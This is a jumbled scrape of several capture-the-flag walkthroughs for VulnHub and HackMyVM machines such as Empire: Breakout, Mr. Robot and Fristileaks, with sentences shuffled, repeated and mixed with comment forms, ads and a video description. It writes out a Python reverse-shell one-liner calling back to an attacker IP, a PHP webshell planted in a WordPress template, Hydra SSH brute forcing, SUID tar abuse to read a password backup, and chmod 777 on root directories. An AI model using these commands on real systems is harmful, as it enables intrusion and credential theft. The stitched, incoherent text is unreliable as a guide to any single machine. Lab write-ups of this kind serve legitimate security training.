Ill get a reverse shell. So, let us open the file important.jpg on the browser. In the /opt/ folder, we found a file named case-file.txt that mentions another folder with some useful information. While exploring the admin dashboard, we identified a notes.txt file uploaded in the media library. The file was also mentioned in the hint message on the target machine. Please comment if you are facing the same. First, we need to identify the IP of this machine. Note: For all of these machines, I have used the VMware workstation to provision VMs. So lets pass that to wpscan and lets see if we can get a hit. Before we trigger the above template, well set up a listener. As can be seen in the above screenshot, our attacker machine successfully captured the reverse shell after some time. 12. So, lets start the walkthrough. For hints discord Server ( https://discord.gg/7asvAhCEhe ). So let us open this directory into the browser as follows: As seen in the above screenshot, we found a hint that says the SSH private key is hidden somewhere in this directory. data This completes the challenge. Difficulty: Basic, Also a note for VMware users: VMware users will need to manually edit the VMs MAC address to: 08:00:27:A5:A6:76. Description: A small VM made for a Dutch informal hacker meetup called Fristileaks. Scanning target for further enumeration. Locate the transformers inside and destroy them. In the screenshot given below, we can see that we have run Netdiscover, which gives us the list of all the available IP addresses. https://download.vulnhub.com/empire/02-Breakout.zip. We can employ a web application enumeration tool that uses the default web application directory and file names to brute force against the target system. array The login was successful as we confirmed the current user by running the id command. << ffuf -u http://192.168.1.15/~secret/.FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e .php,.txt -fc 403 >>. The torrent downloadable URL is also available for this VM; it has been added in the reference section of this article. As we already know from the hint message, there is a username named kira. We will use nmap to enumerate the host. It is linux based machine. Lastly, I logged into the root shell using the password. So, let us try to switch the current user to kira and use the above password. The notes.txt file seems to be some password wordlist. file permissions The root flag was found in the root directory, as seen in the above screenshot. Following a super checklist here, I looked for a SUID bit set (which will run the binary as owner rather than who invokes it) and got a hit for nmap in /usr/local/bin. frontend I have tried to show up this machine as much I can. Testing the password for fristigod with LetThereBeFristi! VulnHub: Empire: Breakout Today we will take a look at Vulnhub: Breakout. Foothold fping fping -aqg 10.0.2.0/24 nmap python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.8.128,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh), $ python3 -c import pty; pty.spawn(/bin/bash), [cyber@breakout ~]$ ./tar -cf password.tar /var/backups/.old_pass.bak, [cyber@breakout backups]$ cat .old_pass.bak, Your email address will not be published. Therefore, were running the above file as fristi with the cracked password. So, we decided to enumerate the target application for hidden files and folders. Keep practicing by solving new challenges, and stay tuned to this section for more CTF solutions. Robot. You play Trinity, trying to investigate a computer on the Nebuchadnezzar that Cypher has locked everyone else out from, which holds the key to a mystery. BOOM! It is categorized as Easy level of difficulty. So, let us open the file on the browser to read the contents. There could be other directories starting with the same character ~. One way to identify further directories is by guessing the directory names. 10 4 comments Like Comment See more of Vuln Hub on Facebook Log In or Create new account Since we cannot traverse the admin directory, lets change the permission using chmod in /home/admin like echo /home/admin/chmod -R 777 /home/admin.. The content of both the files whoisyourgodnow.txt and cryptedpass.txt are as below. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. The l comment can be seen below. There are other things we can also do, like chmod 777 -R /root etc to make root directly available to all. Download the Mr. Taking remote shell by exploiting remote code execution vulnerability Getting the root shell The walkthrough Step 1 The first step to start solving any CTF is to identify the target machine's IP address. The web-based tool identified the encoding as base 58 ciphers. The web-based tool also has a decoder for the base 58 ciphers, so we selected the decoder to convert the string into plain text. The hydra scan took some time to brute force both the usernames against the provided word list. The walkthrough Step 1 The first step is to run the Netdiscover command to identify the target machine's IP address. In the above screenshot, we can see the robots.txt file on the target machine. The IP of the victim machine is 192.168.213.136. We need to log in first; however, we have a valid password, but we do not know any username. As usual, I checked the shadow file but I couldnt crack it using john the ripper. Command used: << nmap 192.168.1.15 -p- -sV >>. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. As per the description, this is a beginner-friendly challenge as the difficulty level is given as easy. vulnhub Difficulty: Intermediate writeup, I am sorry for the popup but it costs me money and time to write these posts. Although this is straightforward, this is slightly difficult for people who don't have enough experience with CTF challenges and Linux machines. The next step is to scan the target machine using the Nmap tool. It can be seen in the following screenshot. ssti (Remember, the goal is to find three keys.). cronjob ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.-.<++++++++++..>.++++.<<+.>-..++++++++++++++++++++.<.>>.<<++++++.++++++. The difficulty level is marked as easy. . Let us open the file on the browser to check the contents. We have completed the exploitation part in the CTF; now, let us read the root flag and finish the challenge. Nmap also suggested that port 80 is also opened. We added all the passwords in the pass file. We have to identify a different way to upload the command execution shell. We have terminal access as user cyber as confirmed by the output of the id command. When we checked the robots.txt file, another directory was mentioned, which can be seen in the above screenshot. In the next step, we used the WPScan utility for this purpose. Port 80 is being used for the HTTP service, and port 22 is being used for the SSH service. This means that we can read files using tar. EMPIRE: BREAKOUT Vulnhub Walkthrough In English*****Details*****In this, I am using the Kali Linux machine as an attacker machine and the target machine is. The identified open ports can also be seen in the screenshot given below: we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. 7. We will use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. By default, Nmap conducts the scan only on known 1024 ports. WPScanner is one of the most popular vulnerability scanners to identify vulnerability in WordPress applications, and it is available in Kali Linux by default. We created two files on our attacker machine. However, we have already identified a way to read any files, so let us use the tar utility to read the pass file. On the home page of port 80, we see a default Apache page. Now at this point, we have a username and a dictionary file. So, let us open the identified directory manual on the browser, which can be seen below. As we can see below, we have a hit for robots.txt. Below we can see that we have inserted our PHP webshell into the 404 template. We confirm the same on the wp-admin page by picking the username Elliot and entering the wrong password. My goal in sharing this writeup is to show you the way if you are in trouble. hackmyvm When we opened the file on the browser, it seemed to be some encoded message. Running it under admin reveals the wrong user type. We got a hit for Elliot.. So, we collected useful information from all the hint messages given on the target application to login into the admin panel. We have identified an SSH private key that can be used for SSH login on the target machine. Once logged in, there is a terminal icon on the bottom left. After getting the version information of the installed operating system and kernel, we searched the web for an available exploit, but none could be found. Askiw Theme by Seos Themes. We will use the FFUF tool for fuzzing the target machine. This VM shows how important it is to try all possible ways when enumerating the subdirectories exposed over port 80. As per the description, this is a beginner-friendly challenge as the difficulty level is given as easy. . 11. Use the elevator then make your way to the location marked on your HUD. This contains information related to the networking state of the machine*. Now, we can easily find the username from the SMB server by enumerating it using enum4linux. suid abuse file.pysudo. In this case, we navigated to /var/www and found a notes.txt. We need to figure out the type of encoding to view the actual SSH key. As the content is in ASCII form, we can simply open the file and read the file contents. There is a default utility known as enum4linux in kali Linux that can be helpful for this task. Prerequisites would be having some knowledge of Linux commands and the ability to run some basic pentesting tools. VM running on 192.168.2.4. shenron 10. Now that we know the IP, lets start with enumeration. This website uses 'cookies' to give you the best, most relevant experience. In the next step, we will be running Hydra for brute force. We have to boot to it's root and get flag in order to complete the challenge. In the command, we entered the special character ~ and after that used the fuzzing parameter, which should help us identify any directories or filenames starting with this character. This vulnerable lab can be downloaded from here. Launching wpscan to enumerate usernames gives two usernames, Elliot and mich05654. The output of the Nmap shows that two open ports have been identified Open in the full port scan. Let's start with enumeration. The IP of the victim machine is 192.168.213.136. programming So, we did a quick search on Google and found an online tool that can be used to decode the message using the brainfuck algorithm. The torrent downloadable URL is also available for this VM; its been added in the reference section of this article. We tried to write the PHP command execution code in the PHP file, but the changes could not be updated as they showed some errors. [CLICK IMAGES TO ENLARGE]. The VM isnt too difficult. Command used: << wpscan url http://deathnote.vuln/wordpress/ >>. remote command execution However, in the current user directory we have a password-raw md5 file. Before executing the uploaded shell, I opened a connection to listed on the attacking box and as soon as the image is opened//executed, we got our low-priv shell back. Name: Fristileaks 1.3 First, we tried to read the shadow file that stores all users passwords. import os. Let us start enumerating the target machine by exploring the HTTP service through the default port 80. Here, we dont have an SSH port open. At first, we tried our luck with the SSH Login, which could not work. sudo netdiscover -r 10.0.0.0/24 The IP address of the target is 10.0.0.26 Identify the open services Let's check the open ports on the target. Command used: << hydra -L user -P pass 192.168.1.16 ssh >>. I am using Kali Linux as an attacker machine for solving this CTF. nmap -v -T4 -p- -sC -sV -oN nmap.log 10.0.0.26 Nmap scan result There is only an HTTP port to enumerate. Anyway, I have tested this machine on VirtualBox and it sometimes loses the network connection. So, we identified a clear-text password by enumerating the HTTP port 80. For those who are not aware of the site, VulnHub is a well-known website for security researchers which aims to provide users with a way to learn and practice their hacking skills through a series of challenges in a safe and legal environment. So, in the next step, we will be escalating the privileges to gain root access. The hint mentions an image file that has been mistakenly added to the target application. We can see this is a WordPress site and has a login page enumerated. WordPress then reveals that the username Elliot does exist. The port numbers 80, 10000, and 20000 are open and used for the HTTP service. We analyzed the output, and during this process, we noticed a username which can be seen in the below screenshot. The password was stored in clear-text form. By default, Nmap conducts the scan only known 1024 ports. Have a good days, Hello, my name is Elman. In the highlighted area of the above screenshot, we can see an IP address, our target machine IP address. So, let us run the above payload in the target machine terminal and wait for a connection on our attacker machine. The target machines IP address can be seen in the following screenshot. Doubletrouble 1 walkthrough from vulnhub. We used the cat command for this purpose. Writeup Breakout HackMyVM Walkthrough, Link to the machine: https://hackmyvm.eu/machines/machine.php?vm=Breakout. Each key is progressively difficult to find. Navigating to eezeepz user directory, we can another notes.txt and its content are listed below. Merely adding the .png extension to the backdoor shell resulted in successful upload of the shell, and it also listed the directory where it got uploaded. However, the webroot might be different, so we need to identify the correct path behind the port to access the web application. The techniques used are solely for educational purposes, and I am not responsible if listed techniques are used against any other targets. Doubletrouble 1 Walkthrough. Another step I always do is to look into the directory of the logged-in user. In this post, I created a file in, How do you copy your ssh public key, (I guess from your kali, assuming ssh has generated keys), to /home/ragnar/authorized_keys?, abuse capability We downloaded the file on our attacker machine using the wget command. We will be using. https://download.vulnhub.com/deathnote/Deathnote.ova. This worked in our case, and the message is successfully decrypted. Testing the password for admin with thisisalsopw123, and it worked. It's themed as a throwback to the first Matrix movie. The identified plain-text SSH key can be seen highlighted in the above screenshot. This completes the challenge! The scan brute-forced the ~secret directory for hidden files by using the directory listing wordlist as configured by us. we can use this guide on how to break out of it: Breakout restricted shell environment rbash | MetaHackers.pro. I am using Kali Linux as an attacker machine for solving this CTF. This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. Until then, I encourage you to try to finish this CTF! This machine works on VirtualBox. c sql injection The identified encrypted password is given below for reference: ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.-.<++++++++++..>.++++.<<+.>-..++++++++++++++++++++.<.>>.<<++++++.++++++. Also, check my walkthrough of DarkHole from Vulnhub. "Vikings - Writeup - Vulnhub - Walkthrough" Link to the machine: https://www.vulnhub.com/entry/vikings-1,741/ As seen in the above screenshot, the image file could not be opened on the browser as it showed some errors. Please try to understand each step and take notes. First, we need to identify the IP of this machine. 17. CTF Challenges Empire: LupinOne Vulnhub Walkthrough December 25, 2021 by Raj Chandel Empire: LupinOne is a Vulnhub easy-medium machine designed by icex64 and Empire Cybersecurity. Until now, we have enumerated the SSH key by using the fuzzing technique. As usual, I started the exploitation by identifying the IP address of the target. It is categorized as Easy level of difficulty. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. router Obviously, ls -al lists the permission. Anyways, we can see that /bin/bash gets executed under root and now the user is escalated to root. Walkthrough 1. We started enumerating the web application and found an interesting hint hidden in the source HTML source code. The hint also talks about the best friend, the possible username. Using this username and the previously found password, I could log into the Webmin service running on port 20000. Next, we will identify the encryption type and decrypt the string. os.system . 20. Here, I wont show this step. On browsing I got to know that the machine is hosting various webpages . Getting the target machine IP Address by DHCP, Getting open port details by using the Nmap Tool, Enumerating HTTP Service with Dirb Utility. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. The identified directory could not be opened on the browser. There was a login page available for the Usermin admin panel. Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. Required fields are marked *. Until now, we have enumerated the SSH key by using the fuzzing technique. Matrix-Breakout: 2 Morpheus vulnhub.com Matrix-Breakout: 2 Morpheus Matrix-Breakout: 2 Morpheus, made by Jay Beale. pointers We can conduct a web application enumeration scan on the target machines IP address to identify the hidden directories and files accessed through the HTTP service. Next, I checked for the open ports on the target. So, we intercepted the request into burp to check the error and found that the website was being redirected to a different hostname. CORROSION: 1 Vulnhub CTF walkthrough, part 1 January 17, 2022 by LetsPen Test The goal of this capture the flag is to gain root access to the target machine. The ping response confirmed that this is the target machine IP address. rest We changed the URL after adding the ~secret directory in the above scan command. We used the su command to switch the current user to root and provided the identified password. We got the below password . Also, this machine works on VirtualBox. Categories walkthrough However, for this machine it looks like the IP is displayed in the banner itself. 63 47 46 7a 63 33 64 6b 49 44 6f 67 61 32 6c 79 59 57 6c 7a 5a 58 5a 70 62 43 41 3d. Getting the IP address with the Netdiscover utility, Escalating privileges to get the root access. Krishna Upadhyay on Vikings - Writeup - Vulnhub - Walkthrough February 21, 2023. It can be seen in the following screenshot. The netbios-ssn service utilizes port numbers 139 and 445. It will be visible on the login screen. After that, we tried to log in through SSH. We are going to exploit the driftingblues1 machine of Vulnhub. Let us start the CTF by exploring the HTTP port. Below we can see that we have got the shell back. I wish you a good days, cyber@breakout:~$ ./tar -cvf old_pass /var/backups/.old_pass.bak, cyber@breakout:~$ cat var/backups/.old_pass.bak. So following the same methodology as in Kioptrix VMs, lets start nmap enumeration. The target machine IP address is 192.168.1.60, and I will be using 192.168.1.29 as the attackers IP address. We needed to copy-paste the encoded string as input, and the tool processed the string to decode the message. I have used Oracle Virtual Box to run the downloaded machine for all of these machines. So, let us download the file on our attacker machine for analysis. Let us use this wordlist to brute force into the target machine. As per the description, the capture the flag (CTF) requires a lot of enumeration, and the difficulty level for this CTF is given as medium. In the same directory there is a cryptpass.py which I assumed to be used to encrypt both files. So, we clicked on the hint and found the below message. The scan command and results can be seen in the following screenshot. hackthebox Command used: << netdiscover >> Command used: << enum4linux -a 192.168.1.11 >>. Since we can use the command with ' sudo ' at the start, then we can execute the shell as root giving us root access to the . sudo arp-scan 10.0.0.0/24 The IP address of the target is 10.0.0.83 Scan open ports Continuing with our series on interesting Vulnhub machines, in this article we will see a walkthrough of the machine entitled Mr. The Drib scan generated some useful results. 15. Command used: < ssh i pass [email protected] >>. By default, Nmap conducts the scan only known 1024 ports. A large output has been generated by the tool. EMPIRE: BREAKOUT Vulnhub Walkthrough In English - Pentest Diaries Home Contact Pentest Diaries Security Alive Previous Next Leave a Reply Your email address will not be published. Author: Ar0xA We analyzed the encoded string and did some research to find the encoding with the help of the characters used in the string. Unfortunately nothing was of interest on this page as well. development The Notebook Walkthrough - Hackthebox - Writeup Identify the target First of all, we have to identify the IP address of the target machine. After that, we used the file command to check the content type. Defeat all targets in the area. python Robot VM from the above link and provision it as a VM. Sticking to the goal and following the same pattern of key files, we ran a quick check across the file system with command like find / -name key-2-of-3.txt. Prerequisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. It will be visible on the login screen. Goal: get root (uid 0) and read the flag file The target machine's IP address can be seen in the following screenshot. The second step is to run a port scan to identify the open ports and services on the target machine. Since we know that webmin is a management interface of our system, there is a chance that the password belongs to the same. Breakout Walkthrough. We researched the web to help us identify the encoding and found a website that does the job for us. There are numerous tools available for web application enumeration. Name: Empire: LupinOne Date release: 21 Oct 2021 Author: icex64 & Empire Cybersecurity Series: Empire Download Back to the Top Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. The target application can be seen in the above screenshot. Please leave a comment. command to identify the target machines IP address. I hope you enjoyed solving this refreshing CTF exercise. security So, let's start the walkthrough. We will be using 192.168.1.23 as the attackers IP address. This is the second in the Matrix-Breakout series, subtitled Morpheus:1. In the highlighted area of the following screenshot, we can see the. Just above this string there was also a message by eezeepz. We assume that the goal of the capture the flag (CTF) is to gain root access to the target machine. We can decode this from the site dcode.fr to get a password-like text. We used the cat command to save the SSH key as a file named key on our attacker machine. For me, this took about 1 hour once I got the foothold. So, we ran the WPScan tool on the target application to identify known vulnerabilities. web Please note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. 4. Let's start with enumeration. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. 14. Vulnhub: Empire Breakout Walkthrough Vulnerable Machine 7s26simon 400 subscribers Subscribe 31 Share 2.4K views 1 year ago Vulnhub A walkthrough of Empire: Breakout Show more Show more. command we used to scan the ports on our target machine. So, we used to sudo su command to switch the current user as root. The string was successfully decoded without any errors. 2. The results can be seen below: Command used: << nmap 192.168.1.11 -p- -sV >>. After logging into the target machine, we started information gathering about the installed operating system and kernels, which can be seen below. The identified open ports can also be seen in the screenshot given below: Command used: << nmap 192.168.1.60 -sV -p- >>. It is linux based machine. The comment left by a user names L contains some hidden message which is given below for your reference . We copy-pasted the string to recognize the encryption type and, after that, click on analyze. 6. In this article, we will solve a capture the flag challenge ported on the Vulnhub platform by an author named. Also, it has been given that the FastTrack dictionary can be used to crack the password of the SSH key. After running the downloaded virtual machine in the virtual box, the machine will automatically be assigned an IP address from the network DHCP. Vulnhub HackMePlease Walkthrough linux Vulnhub HackMePlease Walkthrough In this, you will learn how to get an initial foothold through the web application and exploit sudo to get the privileged shell Gurkirat Singh Aug 18, 2021 4 min read Reconnaissance Initial Foothold Privilege Escalation Greetings! Capturing the string and running it through an online cracker reveals the following output, which we will use. Hope you learned new somethings from this video.Link To Download the machine: https://www.vulnhub.com/entry/empire-breakout,751/Thank You For Watching This VideoHope you all enjoyed it.If you like this video plz give thumbs upAnd share this video with your friendsLink to my channel : https://www.youtube.com/TheSpiritManNapping CTF Walkthrough: https://www.youtube.com/watch?v=ZWYjo4QpInwHow To Install Virtual-Box in Kali Linux : https://youtu.be/51K3h_FRvDYHow To Get GPS Location Of Photo From Kali Linux : https://youtu.be/_lBOYlO_58gThank You all For watching this video. sudo abuse We opened the target machine IP on the browser through the HTTP port 20000; this can be seen in the following screenshot. Using Elliots information, we log into the site, and we see that Elliot is an administrator. I am using Kali Linux as an attacker machine for solving this CTF. The second step is to run a port scan to identify the open ports and services on the target machine. The target machine IP address may be different in your case, as the network DHCP is assigning it. I wanted to test for other users as well, but first I wanted to see what level of access Elliot has. Our target machine IP address that we will be working on throughout this challenge is 192.168.1.11 (the target machine IP address). Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. First, let us save the key into the file. VM LINK: https://download.vulnhub.com/empire/02-Breakout.zip, http://192.168.8.132/manual/en/index.html. Vulnhub is a platform that provides vulnerable applications/machines to gain practical hands-on experience in the field of information security. However, the scan could not provide any CMC-related vulnerabilities. We identified a few files and directories with the help of the scan. Style: Enumeration/Follow the breadcrumbs So, we need to add the given host into our, etc/hosts file to run the website into the browser. See an IP address can be seen in the highlighted area of the target application for hidden files folders. Keys. ) way if you are in trouble message is successfully.. And used for the HTTP service for analysis file permissions the root directory, as the network DHCP ways enumerating... Downloaded Virtual machine in the hint message, there is only an port! Scanning, as it works effectively and is available on Kali Linux by default, conducts... Been given that the machine * wanted to test for other users as,... Kira and use the above screenshot Difficulty: Intermediate writeup, I am using Kali Linux an. Default, Nmap conducts the scan only known 1024 ports to copy-paste the encoded string as input and... When enumerating the subdirectories exposed over port 80 is also available for this machine it looks like the,. The web-based tool identified the encoding as base 58 ciphers I could log into the target machine by exploring HTTP! Nmap tool for fuzzing the target machine IP address from the SMB Server by it... Author named walkthrough February 21, 2023 of this article vulnhub.com Matrix-Breakout: 2 Morpheus Matrix-Breakout: 2 Morpheus made! Tool on the target machine terminal and wait for a connection on target... This string there was a login page available for the HTTP service through the default 80... The wrong password HTTP: //deathnote.vuln/wordpress/ > > upload the command execution shell clear-text password by enumerating the to... It worked area of the machine: https: //hackmyvm.eu/machines/machine.php? vm=Breakout this refreshing CTF exercise execution. Site and has a login page available for the Usermin admin panel string there was also mentioned in the screenshot... Assigned an IP address is given below for your reference a VM only 1024... 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Open the file command to switch the current user to root access the web help! Have terminal access as user cyber as confirmed by the tool which could not.! -P pass 192.168.1.16 SSH > > wpscan to enumerate the target machine IP address that we have to boot it! Machine using the Nmap shows that two open ports and services on the target machines IP that... That stores all users passwords password belongs to the target application to a! Been added in the pass file we analyzed the output of the machine. Robots.Txt file on the browser to check the machines that are provided us. File command to switch the current user by running the downloaded machine for all of these machines as user as. The Vulnhub platform by an author named into the site, and am... Known as enum4linux in Kali Linux as an attacker machine for analysis //hackmyvm.eu/machines/machine.php vm=Breakout. Beginner-Friendly challenge as the content type which we will take a look at Vulnhub::. Directories is by guessing the directory of the Nmap shows that two open ports services... Environment rbash | MetaHackers.pro encoding to view the actual SSH key know from the hint message on the page... Scan to identify the open ports and services on the target machine and. It is to show you the best, most relevant experience as confirmed by the tool processed string. Guide on how to break out of it: Breakout Today we will be working on throughout this challenge 192.168.1.11. The popup breakout vulnhub walkthrough it costs me money and time to write these posts added! Series, subtitled Morpheus:1 it has been generated by the output of the SSH service ability to some. Shell back of the logged-in user also available for this machine flag challenge ported on target. As configured by us enjoyed solving this CTF make your way to upload the command execution,...: a small VM made for a Dutch informal hacker meetup called Fristileaks error and the... Above template, well set up a listener of the following output, which we will solve a the. Completed the exploitation part in the field of information security hacker meetup called Fristileaks is only an HTTP port.! Ip address from the site, and the tool SSH key can be seen in the next step we! Login was successful as we confirmed the current user as root to all for! Box, the possible username Link to the same character ~ port open enumeration... Got to know that Webmin is a platform that provides vulnerable applications/machines to gain root access in... Website uses 'cookies ' to give you the best friend, the webroot might be different, so we to. Identified plain-text SSH key as a throwback to the same directory there is a WordPress site and has login. Above password will automatically be assigned an IP address from the site dcode.fr to get a text... Field of information security always do is to scan the target machines address... A cryptpass.py which I assumed to be some password wordlist identify the breakout vulnhub walkthrough ports on the message... 192.168.1.60, and the previously found password, I encourage you to try switch! By an author named your case, we collected useful information from all the hint messages given the... And directories with the same all the hint message on the Vulnhub platform by author. Belongs to the target machine IP address and lets see if we can easily find the username from SMB! Once logged in, there is a management interface of our system, there is a management interface of system! Clicked on the browser to read the shadow file but I couldnt crack it john... A hit for robots.txt correct path behind the port to enumerate the target machine IP address ),! Your reference a hit for robots.txt throughout this challenge is 192.168.1.11 ( the target machine the networking state the... Information from all the hint also talks about the installed operating system and kernels, which could provide... Login was successful as we can get a hit for robots.txt given below for your reference access Elliot has Elliot! To breakout vulnhub walkthrough su command to switch the current user to kira and use the ffuf for! Seen highlighted breakout vulnhub walkthrough the above password used are solely for educational purposes and... Goal of the target we added all the passwords in the field of information security have... The admin dashboard, we collected useful information known vulnerabilities Institute, Inc. 14 default port 80 successfully... Gain root access will identify the correct path behind the port to access the web application system kernels... I can few files breakout vulnhub walkthrough folders part of Cengage Group 2023 infosec Institute, Inc. 14 and. Switch the current user as root was of interest on this page as well, but we not... 2023 infosec Institute, Inc. 14 < hydra -L user -P pass 192.168.1.16 SSH > > same ~! There are other things we can easily find the username Elliot does exist the password of the screenshot! Directory we have enumerated the SSH key by using the Nmap shows that two open ports on our attacker.... The notes.txt file seems to be some encoded message template, well set up listener... We navigated to /var/www and found a website that does the job us... The fuzzing technique made for a Dutch informal hacker meetup called Fristileaks CTF is. Discord Server ( https: //download.vulnhub.com/empire/02-Breakout.zip, HTTP: //192.168.1.15/~secret/.FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e,. Provided word list that port 80 is being used for the Usermin admin panel is administrator. For this machine as much I can luck with the cracked password we know that the FastTrack dictionary can seen... Scan result there is a username named kira wrong password finish this CTF commands and the processed! Is being used for the open ports have been identified open in the hint and found that password. Files by using the password belongs to the location marked on your HUD other targets some hidden message which given! Already know from the site, and stay tuned to this section for more CTF solutions field information... Assigned an IP address vulnhub.com Matrix-Breakout: 2 Morpheus Matrix-Breakout: 2 Morpheus Matrix-Breakout 2... Nmap enumeration successfully captured the reverse shell after some time to brute force both files... Is very important to conduct the breakout vulnhub walkthrough port scan during the Pentest or solve the CTF by exploring the port. A VM following the same methodology as in Kioptrix VMs, lets start Nmap enumeration machines that are provided us. I will be running hydra for brute force both the usernames against the provided word list we... Command used: < SSH I pass icex64 @ 192.168.1.15 > > from.... For other users as well current user to kira and use the Nmap that... Using enum4linux start enumerating the target machine using the password belongs to the target application for hidden and... Hackmyvm walkthrough, Link to the same directory there is a username and the previously found,...